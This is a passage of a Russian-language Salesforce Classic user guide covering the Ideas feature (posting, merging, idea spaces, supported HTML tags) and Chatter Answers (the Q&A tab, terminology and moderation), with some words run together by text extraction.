странице «Недавние действия» данного участника сообщества. При подписке на
канал «Недавние действия» другого участника сообщества данный канал содержит
последние комментарии только соответствующего участника.

Прим.: Дочерние идеи (идеи, объединенные с основной идеей) не отображаются
в каналах. Каналы содержат только основные идеи.

СМ. ТАКЖЕ:

Общие сведения об идеях
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Публикация и редактирование идей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Идеи»:
• «Чтение» для идей

Для просмотра и
голосования за идеи:
• «Чтение» для идей

Для создания и
комментирования идей:
• «Создание» для идей

Для редактирования идей и
комментариев:
• «Редактирование» для

идей

Публикация идей

1. Чтобынайтипохожиеидеи, воспользуйтесьполемпоисканабоковойпанели. Данное
действиепозволяет сократить количествоповторяющихсяидей в сообществе. Если
похожие идеи отсутствуют, перейдите к следующему действию.

2. Чтобы создать идею, воспользуйтесь одним из указанных ниже способов.

• Выберитенужноесообществовраскрывающемсясписке «Сообщество» навкладке
«Идеи» и нажмите кнопку «Добавить идею».

• Нажмите кнопку «Создатьидею» в списковомпредставлении «Идеи», выберите
нужное сообщество и нажмите кнопку «Продолжить».

• Выберите пункт «Идея» в раскрывающемся списке «Создать...» на боковой
панели, выберите нужное сообщество и нажмите кнопку «Продолжить».

3. Припубликации идеи в пространство идей выберите нужное пространство идей из
списка. Идеи могут быть опубликованы только в те пространства идей, которые
доступны в собственном сообществе.

4. Введите заголовок идеи (не более 255 символов).

После ввода заголовка система Salesforce выполняет автоматическийпоиск похожих
идей и отображает первые пять совпадений. Чтобы открыть страницу сведений о
похожей идее в новом окне, щелкните заголовок нужной идеи. Страница сведений
содержит описание идеи и позволяет принять участие в голосовании (взамен
публикацииповторяющейсяидеив сообществе). Чтобыопубликовать собственную
уникальную идею в случае отсутствия похожих идей, выполните указанные ниже
действия.

5. Введите описание идеи в поле «Описание».

Если в организации включен HTML-редактор для сообщества «Идеи», то описание
может содержать код HTML и опорные интерактивные изображения. Если
HTML-редактор отключен, рекомендуем использовать только обычный текст. .

6. Выберите как минимум одну категорию.

7. При необходимости выберите статус идеи (доступно только администраторам). Раскрывающийся список «Статус»
доступен только администраторам.

8. При необходимости добавьте вложение в идею (данная функция должна быть включена администратором).

• Нажмите кнопку «Обзор» и выберите нужный локальныйфайл.

Пользователимогутприкреплятьлюбыеподдерживаемыетипыфайлов, включаяпрезентации Microsoft® PowerPoint®,
электронные таблицы Excel®, PDF-файлы Adobe®, изображения, аудио- и видеофайлы. Максимальный размер
вложения определяется администратором организации.

• Принеобходимостивведитезаголовокфайла. Впротивномслучаеимяфайлаотображаетсякакзаголовоквложения.

9. Нажмите кнопку «Опубликовать».

Новая идея добавляется на вложенную вкладку «Недавние идеи», а ее рейтинг автоматически повышается на 10 очков.
Каждый голос соответствует 10 очкам.
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Совет: Чтобы гарантировать ясность идеи для других пользователей, воспользуйтесь указанными ниже
рекомендациями.

• Использование полных предложений.

• Максимальная краткость и ясность.

• Проверка орфографии и пунктуации.

Редактирование идей

Редактирование сведений о текущих идеях доступно только при наличии полномочия «Редактирование» для идей.

1. Щелкните заголовок нужной идеи на вкладке «Идеи».

2. Нажмите кнопку «Правка».

3. При необходимости измените заголовок, описание, категорию и статус идеи (доступно только администраторам).

4. Чтобы сохранить внесенные изменения, нажмите кнопку «Применить».

Функция редактирования сведений об идее не поддерживает возможность изменения соответствующих комментариев.

СМ. ТАКЖЕ:

Общие сведения об идеях

Использование сообщества «Идеи»

Объединение идей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для объединения
нескольких идей:
• «Редактирование» для

идей

Общие сведения

Какправило, увеличениеколичестваучастниковзоныинициируетувеличениеколичества
повторяющихсяидей. Повторяющиесяидеипрепятствуютбыстромупросмотруотзывов
ввиду публикации комментариев и голосов в разных похожих идеях.Оптимальным
решениемданнойпроблемыявляетсяобъединениеповторяющихсяидей, прикотором
одна идея становится основной, а остальные похожие идеи становятся дочерними.

Ниже перечислены рекомендации по объединению идей.

• Объединенные идеи не могут быть разделены.

• Все голоса, принадлежащие дочерним идеям, переносятся в основную идею. Если
участник сообщества голосует за две идеи, которые затем объединяются, то голос за
основную идею сохраняется, а голос за дочернюю идею пропускается.

• Пользователимогут голосоватьидобавлять комментариитолькокосновнымидеям.

• Идеи, принадлежащие разным зонам, не могут быть объединены.

• Удаление основной идеи приводит к автоматическому удалению всех дочерних
идей. Дочерние идеи не могут быть удалены по отдельности.

• Основная идея не наследует статус и категорию дочерних идей.

• Идея, ставшая дочерней в результате объединения, отображается на странице
«Отправленные идеи», но удаляется с других страниц раздела «Недавние действия».

• Объединенные идеи не отображаются в списке отправленных идей на странице сведений о пространстве идей и не
учитываются полем «Отправленные идеи».
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• Объединение дочерней идеи препятствует редактированию поля «Пространство идей».

• Объединенная дочерняя идея отображается пользователю-отправителюв списке «Отправленныеидеи» на странице
«Недавние действия» соответствующего пользователя.

Объединение идей

Чтобы найти и объединить повторяющиеся идеи, выполните указанные ниже действия.

1. Щелкните заголовок нужной идеи на вкладке «Идеи».

2. Нажмите кнопку «Найтиповторы»на странице сведенийобидее. Система Salesforceобработает всеидеи, доступные
в зоне, и отобразит пять идей, заголовки которых соответствуют заголовку текущей идеи.

3. Если список «Возможные повторы» не содержит нужных идей, введите ключевые слова в поле «Поиск повторов»
и нажмите кнопку «Поиск». Система Salesforce отобразит новый список возможных повторов.

4. Выберите нужные идеи в списке «Возможные повторы».

Чтобыпросмотреть сведенияо возможномповторе, щелкните заголовокнужнойидеи. Чтобывернуться крезультатам
поиска, нажмите кнопку обозревателя «Назад».

5. Нажмите кнопку «Объединить с текущей идеей».

6. Выберите основную идею и нажмите кнопку «Объединить».

7. Чтобы завершить объединение, нажмите кнопку «ОК».

Советы по использованию сообщества «Идеи»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Чтение» для идейДля просмотра вкладки «Идеи»:

«Чтение» для идейДля просмотра и голосования за идеи:

«Создание» для идейДля создания и комментирования идей:

«Редактирование» для идейДля редактирования идей и комментариев:

«Настройка приложения»Для создания сообществ:

Ниже перечислены рекомендации по настройке и использованию сообщества «Идеи».

• Чтобы отследить активность сообщества «Идеи», выполните указанные ниже действия.

– Создайтебизнес-правилоилитриггернаосновеколичестваопубликованныхкомментариевкидее. Бизнес-правило
или триггер не может быть создан на основе общего количества голосов за идею. Триггер, который вставляет или
удаляет комментарий при обновлении объекта «Идея», также не может быть создан.

– Создайте настраиваемый отчет на основе рейтинга или количества комментариев к идее.

• При публикации идеи или комментария поле описания или комментария может быть дополнено URL-адресом;
вложение файлов и добавление примечаний не поддерживаются.

• Взаимосвязь «Основная — подробная» не поддерживается.

• Сообщество «Идеи» не поддерживает задачи бизнес-правил, исходящие сообщения и утверждения.

• Сообщество «Идеи» не поддерживает настраиваемые ссылки.
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• Страница сведений об идее не содержит связанных списков.

• Функция экспорта данных архивирует все данные сообщества «Идеи», кроме удаленных идей и комментариев.

• Сообщество «Идеи» не поддерживает создание действий и событий.

• Ниже перечислены особенности использования стандартных или настраиваемых полей идей.

– Функция отслеживания журналов не поддерживается.

– Зависимости полей и поля сводного резюмирования не поддерживаются.

– Поля формулы недоступны для объекта «Сообщество».

Советы по использованию HTML-редактора

HTML-редактор поддерживает интерфейс WYSIWYG, который позволяет выполнять указанные ниже действия:

• Вставка изображения

• Вставка гиперссылок

• Выравнивание абзацев

• Создание маркированных и нумерованных списков

Советы по внедрению

• HTML-теги, добавленные посредством HTML-редактора, отображаются в виде текста.

• Система Salesforce не поддерживает отображение изображений или текста в формате HTML в связанных списках,
результатах поиска и всплывающих сведениях.

• Выбранные гиперссылки открываются в новом окне обозревателя. HTML-редактор поддерживает гиперссылки HTTP,
HTTPS и mailto.

• Чтобы вставить изображение, щелкните значок и выберите нужный графический файл или введите
соответствующийвеб-адрес. Введитеописание, отображаемоепринаведенииуказателямышиилив случаеотсутствия
изображения. URL-адрес изображения должен быть доступен системе Salesforce.

• Изображения не отображаются в списковых представлениях и отчетах.

• Некоторые функции HTML-редактора не могут быть отключены. Например, пользователь не может отключить
поддержку гиперссылок и изображений.

• HTML-редактор поддерживает все языки, доступные в системе Salesforce.

• Из соображений безопасности, HTML-редактор позволяет использовать только теги и атрибуты, перечисленные в
подразделе «Поддерживаемые HTML-теги и атрибуты»на странице 2475. При сохраненииописания или комментария
к идее система Salesforce автоматически удаляет неподдерживаемые теги и атрибуты. Кроме того, система Salesforce
удаляет потенциально опасный HTML-код. Обратите внимание, что система Salesforce не уведомляет пользователей
об удалении неподдерживаемого или потенциально опасного HTML-кода.

• HTML-редактор не поддерживает JavaScript и каскадные таблицы стилей (CSS).

Поддерживаемые HTML-теги и атрибуты

Ниже перечислены теги, поддерживаемые HTML-редактором.

<q><dt><a>

<samp><em><abbr>
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<small><font><acronym>

<span><h1><address>

<strike><h2><b>

<strong><h3><bdo>

<sub><h4><big>

<sup><h5><blockquote>

<table><h6><br>

<tbody><hr><caption>

<td><i><cite>

<tfoot><img><code>

<th><ins><col>

<thead><kbd><colgroup>

<tr><li><dd>

<tt><ol><del>

<ul><p><dfn>

<var><pre><div>

<dl>

Ниже перечислены атрибуты, поддерживаемые указанными выше тегами.

sizefacealt

srcheightbackground

stylehrefborder

targetnameclass

widthrowspancolspan

Ниже перечислены префиксы, которые могут использоваться в URL-адресах указанных выше атрибутов.

• http:

• https:

• file:

• ftp:

• mailto:

• #
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• /  (для относительных ссылок)

Включение HTML-редактора в сообществе «Идеи»

Обычно HTML-редакторвключенпоумолчанию. Чтобывключить HTML-редакторворганизации, администратордолжен
выполнить действия, описанные в разделе «Настройка параметров сообщества "Идеи"» на странице 2756.

Внимание: Включенный HTML-редактор не может быть отключен.

Прежде чем включить HTML-редактор, обратите внимание на перечисленные ниже рекомендации.

• Размер описания HTML-идеи не должен превышать 32 Кб. Размер комментария не должен превышать 4 Кб.

• Если текстовое описание или комментарий к идее редактируется и сохраняется посредством HTML-редактора, то
система Salesforce сохраняет описание или комментарий в формате HTML.

• Система Salesforce отображает только первые 255 символов описания или комментария к идее в списковых
представлениях и результатах поиска. Данное количество охватывает HTML-теги.

СМ. ТАКЖЕ:

Общие сведения об идеях

Использование сообщества «Идеи»

Комментирование идей

Публикация и редактирование идей

Пространства идей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Пространства идей позволяют приглашать участников сообщества к публикации идей
по конкретным темам. Опубликованные идеи могут содержать возможные решения
проблем или предложения по модернизации компании. Например, обратитесь к
участникам сообщества с просьбой придумать имя нового продукта. Данное действие
позволит привлечь внимание к новому продукту и создать ажиотаж вокруг его выпуска.
Затемотслеживайте голосованиеикомментариикидеям, опубликованнымучастниками
сообщества в пространствеидей; в результате совместнойработыдолжнабыть выбрана
лучшая идея.

При создании пространства идей пользователи могут добавлять изображения,
видеофайлыипрочеемультимедийноесодержимое, котороеможетиспользоватьсядля
пояснения идеи, представленной сообществу. Кроме того, пользователи могут
просматривать и управлять списком идей, опубликованных в пространство идей.
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СМ. ТАКЖЕ:

Создание и редактирование пространств идей

Использование пространств идей

Управление пространствами идей

Использование пространств идей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Пространства идей»:
• «Чтение» для

пространств идей

Для создания пространств
идей:
• «Создание» для идей

Вкладка «Пространства идей» позволяет просматривать, фильтровать, модерировать и
создавать пространства идей в списках.

• Чтобы создать собственные настраиваемые списковые представления, щелкните
ссылку «Создать новое представление». Чтобы изменить или удалить любое
созданное представление, выберите его в раскрывающемся списке «Просмотр» и
щелкнитессылку«Правка». Есливорганизациииспользуютсянесколькосообществ,
рекомендуем добавить представление «Сообщество», позволяющее просмотреть
имя сообщества, связанного с каждым пространством идей. Чтобы управлять
несколькими зонами, рекомендуем дополнить представление полем «Зона».

• Чтобы создать пространство идей, нажмите кнопку «Создать пространство идей»
на страницесписковогопредставления «Пространстваидей»иликнопку «Создать»
в списке «Недавниепространстваидей» на страницеобщихсведений «Пространства
идей».

• Чтобы обновить список, нажмите кнопку .

• Чтобы изменить или удалить пространство идей, щелкните ссылку «Правка» или
«Удал.».
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Прим.: Удаление пространства идей инициирует удаление связанных идей. В свою очередь, восстановление
пространства идей инициирует восстановление связанных идей.

СМ. ТАКЖЕ:

Создание и редактирование пространств идей

Пространства идей

Управление пространствами идей

Создание и редактирование пространств идей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Пространства идей»:
• «Чтение» для

пространств идей

Для создания пространств
идей:
• «Создание» для идей

Вкладка «Пространстваидей», доступнаявприложенииинаконсоли, позволяетсоздавать
и редактировать пространства идей в управляемых сообществах.

1. Нажмите кнопку «Создать пространство идей» на странице спискового
представления «Пространства идей» или кнопку «Создать» в списке «Недавние
пространства идей» на странице общих сведений «Пространства идей».

2. Выберите зону для пространства идей и нажмите кнопку «Продолжить».

3. Выберите значение в поле «Статус» пространства идей.

4. Выберите категорию для пространства идей.

5. Добавьте заголовок для пространства идей.

6. При необходимости введите описание для пространства идей.

Чтобыотформатироватьтекст, добавитьизображениеиливидеофайл, воспользуйтесь
HTML-редактором.

7. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Пространства идей

Использование пространств идей

Управление пространствами идей
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Управление пространствами идей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Пространства идей»:
• «Чтение» для

пространств идей

Для создания и
редактированияпространств
идей:
• «Создание» для идей

Страница сведений о пространстве идей позволяет управлять пространством идей и
связаннымиидеями. Нижеперечисленыдействия, доступныеадминистраторунаданной
странице.

• Редактирование, удаление или клонирование пространства идей.

• Редактирование или удаление идей, отправленных в пространство идей.

• Перемещение идеи между пространствами идей, используемыми в зонах.

Данное действие выполняется посредством редактирования имени идеи,
позволяющего удалить идею из текущего пространства идей и предоставляющего
возможность выбора другого пространства идей.

• Просмотр количества отправленных идей для пространства идей. Объединенные
идеи не отображаются в списке отправленных идей на странице сведений о
пространстве идей и не учитываются полем «Отправленные идеи».

• Создание и публикация идеи в текущее пространство идей.

СМ. ТАКЖЕ:

Создание и редактирование пространств идей

Использование пространств идей
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Использование вкладки «Вопрос и ответ» компонента Chatter Answers

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

КомпонентChatter Answers
доступен в версиях:
Enterprise Edition,
Developer Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вопросов:
• «Чтение» для вопросов

Для добавления вопросов и
ответов:
• «Создание» для

вопросов

Для просмотра обращений:
• «Чтение» для

обращений

Для изменения обращений:
• «Редактирование» для

обращений

Chatter Answers — это сообщество по поддержке и самообслуживанию, позволяющее
пользователям публиковать вопросы и получать ответы или комментарии от других
пользователей или агентов службы поддержки. Функция Chatter Answers предоставляет
комплексный доступ к обращениям, вопросам, ответам и статьям Salesforce Knowledge.

Ниже перечислены действия, доступные клиентам.

• Публикация, просмотр и добавление ответов на вопросы посредством вкладки
«Вопрос и ответ».

• Удаление собственных вопросов и ответов.

• Присвоение вопросам и ответам статуса «Спам», «Ужасно» или «Недопустимо».

• Получение сообщений эл. почты о добавлении ответов на собственные вопросы
или выборе лучших ответов для отслеживаемых вопросов.

• Сотрудничество с агентами службы поддержки в частном или общем порядке с
целью разрешения проблем, связанных с открытыми обращениями.

• Поиск и просмотр статей Salesforce Knowledge.

• Выбор понравившегося сообщения или статьи Salesforce Knowledge для повышения
популярности.

• Загрузка собственных фотографий в профили.

• Просмотробщегоколичествасообщений, опубликованныхдругимипользователями,
и количества ответов, выбранных другими пользователями в качестве лучших.
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1. Поиск. Прежде чем опубликовать собственный вопрос, клиенты могут выполнить поиск по текущим вопросам.

2. Фильтрация и сортировка. Участники сообщества и агенты службы поддержки могут выбирать разные параметры
для просмотра вопросов в ленте.

Ниже перечислены доступные критериифильтрации найденных вопросов на вкладке «Вопрос и ответ» компонента
Chatter Answers.

• «Всевопросы»: отображениевсехвопросов, доступныхв зоне, а такжестатей Salesforce Knowledge (приихналичии).

• «Неотвеченные вопросы»: отображение всех вопросов, которые не содержат ответов.

• «Нерешенные вопросы»: отображение всех вопросов, которые не содержат лучшего ответа.

• «Решенныевопросы»: отображениевсех вопросов, содержащихлучшийответ, а такжестатей Salesforce Knowledge
(при их наличии).

• «Мои вопросы»: отображение всех заданных и отслеживаемых вопросов.

Ниже перечислены доступные критерии сортировки отображаемых результатов.

• «Дата публикации»: вопросы, заданные последними, отображаются первыми.

• «Недавние действия»: вопросы, содержащие последние ответы и комментарии, отображаются первыми.

• «Популярные»: вопросы, получившие наибольшее количество предпочтений, положительных голосов и
отслеживающих, отображаются первыми.

3. Вопрос. Клиентымогутопубликоватьвопросвсообществосцельюполученияпомощи. Другиеучастникисообщества
могут публиковать ответы или отслеживать вопрос для получения электронных уведомлений о последующих
сообщениях.

4. Обзор по категориям. Если сообщество поддерживает категории, то участники могут выбирать имя категории для
просмотра связанных вопросов.
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5. Репутация. Участникисообществамогут зарабатыватьбаллыирейтинги, отображающиесяпринаведенииуказателя
мыши на их фотографии в ленте.

6. Комментарий. Участники сообщества и агенты службы поддержки могут комментировать вопросы, а клиенты или
агенты могут выбирать комментарии в качестве лучших ответов.

Ниже перечислены действия, доступные сервисным организациям в Chatter Answers.

• Создание нескольких сообществ и их объединение в разные зоны, где каждая зона имеет собственное направление
и уникальные вопросы.

• Создание фирменного стиля и настройка сообществ.

• Предоставление агентам возможности отправки клиентам личных или общедоступных ответов.

• Автоматическое создание обращений из вопросов посредством триггера Apex и бизнес-правил.

• Изменение клиентских запросов путем участия.

• Стимулирование участия путем отображения общедоступной статистики пользователей.

• Модерированиевопросовиответовнавкладке «Вопросиответ» вовнутреннемприложенииSalesforceилисообществе.

Ниже перечислены типовые процессы, используемые для ответа на вопрос клиента на вкладке «Вопрос и ответ».

Ответ на вопрос
сформирован на основе
статьи Salesforce
Knowledge

Ответ на вопрос
сформирован агентом
службы поддержки

Ответ на вопрос
сформирован
участниками сообщества

Ответ на вопрос
сформирован на основе
подобного вопроса с
лучшим ответом

1. Клиент вводит вопрос
или ключевые слова на

1. Клиент вводит вопрос
или ключевые слова на

1. Клиент вводит вопрос
или ключевые слова на

1. Клиент вводит вопрос
или ключевые слова на
вкладке «Вопросиответ» вкладке «Вопросиответ»вкладке «Вопросиответ»вкладке «Вопросиответ»
компонента Chatter компонента Chatterкомпонента Chatterкомпонента Chatter
Answers и нажимает Answers и нажимаетAnswers и нажимаетAnswers и нажимает
кнопку «Опубликовать
вопрос».

кнопку «Опубликовать
вопрос».

кнопку «Опубликовать
вопрос».

кнопку «Опубликовать
вопрос».

2. В результатах поиска
отображается похожий

2. В результатах поиска
отображается похожая

2. В результатах поиска не
отображаются похожие
вопросы.

2. В результатах поиска не
отображаются похожие
вопросы.вопрос, содержащий

лучший ответ.
статья Salesforce
Knowledge, содержащая
ответ.

3.3. Клиент продолжает
вводить описание

Клиент продолжает
вводить описание3. Клиентвыбираетданный

вопрос и просматривает
ответ.
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Ответ на вопрос
сформирован на основе
статьи Salesforce
Knowledge

Ответ на вопрос
сформирован агентом
службы поддержки

Ответ на вопрос
сформирован
участниками сообщества

Ответ на вопрос
сформирован на основе
подобного вопроса с
лучшим ответом

вопроса и выбирает
параметр

вопроса и нажимает
кнопку «Опубликовать

3. Клиентвыбираетданную
статью и просматривает
ответ.«Опубликовать для

представителя в
в сообщество» для
публикации

частном порядке» дляобщедоступного
вопроса. публикации личного

вопроса.4. Участник сообщества
или агент службы 4. Личный вопрос

преобразуется в
обращение.

поддержки читает
опубликованныйвопрос
и добавляет 5. Агентслужбыподдержки

читает обращение икомментарий,
являющийся ответом на
вопрос клиента.

добавляет личный
комментарий,
являющийся ответом на
вопрос клиента.

СМ. ТАКЖЕ:

Терминология Chatter Answers

Терминология Chatter Answers

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

КомпонентChatter Answers
доступен в версиях:
Enterprise Edition,
Developer Edition,
Performance Edition и
Unlimited Edition.

Нижеприведенытермины, используемыедляописанияфункциональныхвозможностей
Chatter Answers.

Ответы
Ответы — этофункцияприложения «Сообщество», котораяпозволяетпользователям
задавать вопросыиполучатьнанихответы. Участникисообществамогутопределять
степеньполезностилюбогоответапутемголосования, а авторвопросаможетвыбрать
лучший ответ.

Статья
Статья содержит сведения о продуктах и услугах компании, которые должны быть
доступны в базе знаний.

Лучший ответ
Один из ответов, опубликованных участниками сообщества, может быть выбран
автором вопроса в качестве лучшего. Лучший ответ отображается прямо под вопросом (над другими ответами).
Обычнолучшийответ содержитнаиболееценнуюинформацию, поэтомупозволяетдругимучастникамсообщества
быстро решать похожие вопросы.

Пометить
Значок выбора статуса («Спам», «Ужасно» или «Недопустимо») для вопроса или ответа.
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Отслеживать
Подписка на вопрос, позволяющая получать электронные уведомления о добавленииответов или комментариев для
определенного вопроса.

Нравится
Выражение поддержки или подтверждение точности и полезности вопроса, ответа или статьи базы знаний.

Популярный
Популярностькаждоговопросаопределяется количествомпользователей, выбравшихссылку «Нравится» в течение
определенного промежутка времени.

Вопрос
Вопрос, опубликованный в сообществе ответов. Участники сообщества могут публиковать ответы на заданные
вопросы с целью их решения.

Вопрос, личный
Вопрос, опубликованныйвсообществеответовипомеченныйкак «Личный», чтобыбытьдоступнымтолько агентам
службы поддержки.

Ответ
Ответ на вопрос в сообществе ответов. Один из ответов, опубликованных участниками сообщества, может быть
выбран автором вопроса в качестве лучшего с целью его решения и закрытия.

Темы
Боковаяпанель, содержащаякатегорииданных, позволяющиеклиентампросматривать вопросыиответы. Например,
при наличии зоны для продуктов группы аппаратного обеспечения можно создать следующие темы: «Портативные
компьютеры», «Настольные компьютеры» и «Принтеры».

Голос, ответ
Голос в сообществе ответов соответствует положительному или отрицательному мнению об ответе на вопрос.

Зоны
Зоны помогают объединять идеи и вопросы в логические группы; каждая зона имеет собственное направление,
уникальные идеи и вопросы.

СМ. ТАКЖЕ:

Использование вкладки «Вопрос и ответ» компонента Chatter Answers

Использование Chatter Answers

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

КомпонентChatter Answers
доступен в версиях:
Enterprise Edition,
Developer Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Чтение» для вопросовДля просмотра вопросов:

«Создание» для вопросовДля добавления вопросов и ответов:

«Чтение» для обращенийДля просмотра обращений:

«Редактирование» для обращенийДля изменения обращений:

«Редактирование пользователей портала
самообслуживания»

Для управления пользователями Chatter
Answers (клиентского портала):

«Чтение» для организацийДля добавления личного вопроса:
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Chatter Answers предоставляет доступ к вопросам и обращениям, созданным клиентами в зоне. Вопрос, опубликованный
клиентом в зоне, доступен для добавления ответов. Вопросы преобразуются в обращения после назначения им статуса
«Личный» или по истечении времени, заданного администратором.

Ниже перечислены действия, доступные в Chatter Answers.

• Добавление ответов на вопросы, преобразованные в обращения.

• Созданиенастраиваемыхпредставленийдля обращений, преобразованныхиз вопросовпутемфильтрациипополю
«Происхождение обращения».

• Загрузка фотографии в профиль, чтобы клиенты могли знать как вы выглядите.

• Работа с пользователями Chatter Answers, являющимися пользователями клиентского портала.

• Назначение лицензии «Пользователь Chatter Answers» пользователям портала, не прошедшим самостоятельную
регистрацию, с целью предоставления им доступа к сообществу.

• Использование вкладки «Вопрос и ответ» для модерирования вопросов и...

– просмотра списка вопросов;

– добавления ответов на вопросы;

– расширения вопроса до обращения;

– удаления вопросов или ответов;

– выбора лучших ответов на вопросы;

– добавления ценных ответов в качестве статей Salesforce Knowledge.

Прим.: Рекомендуем назначить агента службы поддержки для просмотра общедоступных вопросов на вкладке
«Вопросиответ». Агентынемогут выбирать ссылку «Пометить»напротиввопросовилиответов состатусом «Спам»,
«Ужасно» или «Недопустимо», однакоприналичииполномочия «Удаление» длявопросовонимогутредактировать
и удалять вопросы или ответы, опубликованные в зонах, посредством вкладки «Вопрос и ответ».

Совет: Чтобы быстро обслуживать большое количество вопросов, рекомендуем агентам службы поддержки
использовать фиксированные списки на консоли Salesforce (вкладка «Вопрос и ответ» должна быть добавлена на
вкладку консоли «Навигация»).

СМ. ТАКЖЕ:

Использование вкладки «Вопрос и ответ» компонента Chatter Answers

Терминология Chatter Answers

Начальная страница вопросов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция «Ответы» доступна
в версиях: Enterprise
Edition, Performance
Edition, Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Чтение» для вопросовДля просмотра вкладки «Вопросы»:

«Создание» для вопросовДля добавления вопросов и ответов:

«Удаление» для вопросовДля удаления вопросов и ответов:

«Создание» для обращенийДля расширения вопроса до обращения:

«Редактирование» для вопросовДля редактирования вопросов:
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Прим.: Начиная с выпуска Summer'13 функция «Ответы» недоступнадляновыхорганизаций. Теперьпользователям
доступна функция Chatter Answers (сообщество по поддержке и самообслуживанию, позволяющее пользователям
публиковать вопросы, а также получать ответы и комментарии от других пользователей или агентов службы
поддержки). ФункцияChatter Answersпредоставляет комплексныйдоступкобращениям, вопросам, ответамистатьям
Salesforce Knowledge. Текущие организации могут использовать функцию «Ответы», включенную до выпуска
Summer'13, в обычном режиме.

Вкладка «Вопросы» позволяет просматривать, искать, фильтровать, модерировать и создавать вопросы в списках.

• Чтобынайти нужный вопрос, введите не менее двух символов из названия вопроса в поле «Поиск по всем вопросам».
По мере ввода отображаются вопросы, соответствующие заданному критерию поиска.

• Выберите предопределенные списковые представления в раскрывающемся списке «Просмотр». Ниже перечислены
некоторые предопределенные списки, поддерживающиефильтрацию вопросов.

– Вопросы с лучшими ответами

– Вопросы без лучших ответов

• Чтобы создать собственные настраиваемые списковые представления, щелкните ссылку «Создать новое
представление». Чтобы изменить или удалить любое созданное представление, выберите его в раскрывающемся
списке «Просмотр» ищелкните ссылку «Правка».

• Чтобысоздать вопрос, щелкните «Создать вопрос» на странице списковогопредставления «Вопросы» илинажмите
кнопку «Создать» в списке «Недавние вопросы» на странице общих сведений «Вопросы».

• Чтобы обновить список, нажмите кнопку .

• Выберите нужный вопрос из списка и выполните одно из указанных ниже действий.

– Чтобы ответить клиентам, введите текст ответа или комментария и щелкните «Ответить клиенту и зоне».

– Нажмите кнопку и выберите значение:

• «Удалить» для удаления вопроса из сообщества.

• «Расширить до обращения» для создания обращения на основе вопроса.

• «Правка» для редактирования полей текущего вопроса.

– Нажмите кнопку в одном из ответов и выберите значение:

• «Удалить» для удаления ответа из сообщества.

• «Преобразоватьвстатью»длядобавленияответа вбазу знанийвкачествечерновойстатьи (доступнотолько
после настройки администратором).

• «Правка» для редактирования полей текущего ответа.

– Если вопрос является личным, то есть доступен только агентам службы поддержки, то при выборе ссылки на
обращение автоматически отображается обращение, связанное с вопросом.

Прим.: Вкладка «Вопросы» предназначенадляфункцииChatter Answers, нотакжепозволяетпросматривать вопросы
для функции «Ответы».

СМ. ТАКЖЕ:

Начальная страница вопросов
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Поиск вопросов и ответов на вкладке «Вопрос и ответ» компонента Chatter Answers

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

КомпонентChatter Answers
доступен в версиях:
Enterprise Edition,
Developer Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вопросов:
• «Чтение» для вопросов

Поиск по вкладке «Вопрос и ответ» компонента Chatter Answers позволяет находить
вопросыи ответы, лучшие ответыи статьи Salesforce Knowledge, которыемогут ускорить
поискответов. Благодаряпоискуповкладке «Вопросиответ», количествоповторяющихся
вопросов может быть сокращено.

1. Введите нужный вопрос в поле поиска на вкладке «Вопрос и ответ».

2. Чтобы просмотреть совпадающие вопросы и статьи, доступные в зоне, щелкните
значок лупы.

Крометого, результатымогут содержать статьи Salesforce Knowledge (приихналичии).

Ниже перечислены доступные критерии фильтрации найденных вопросов на вкладке
«Вопрос и ответ» компонента Chatter Answers.

• «Все вопросы»: отображение всех вопросов, доступных в зоне, а также статей
Salesforce Knowledge (при их наличии).

• «Неотвеченные вопросы»: отображение всех вопросов, которые не содержат
ответов.

• «Нерешенныевопросы»: отображениевсехвопросов, которыенесодержатлучшего
ответа.

• «Решенные вопросы»: отображение всех вопросов, содержащих лучший ответ, а также статей Salesforce Knowledge
(при их наличии).

• «Мои вопросы»: отображение всех заданных и отслеживаемых вопросов.

Ниже перечислены доступные критерии сортировки отображаемых результатов.

• «Дата публикации»: вопросы, заданные последними, отображаются первыми.

• «Недавние действия»: вопросы, содержащие последние ответы и комментарии, отображаются первыми.

• «Популярные»: вопросы, получившие наибольшее количество предпочтений, положительных голосов и
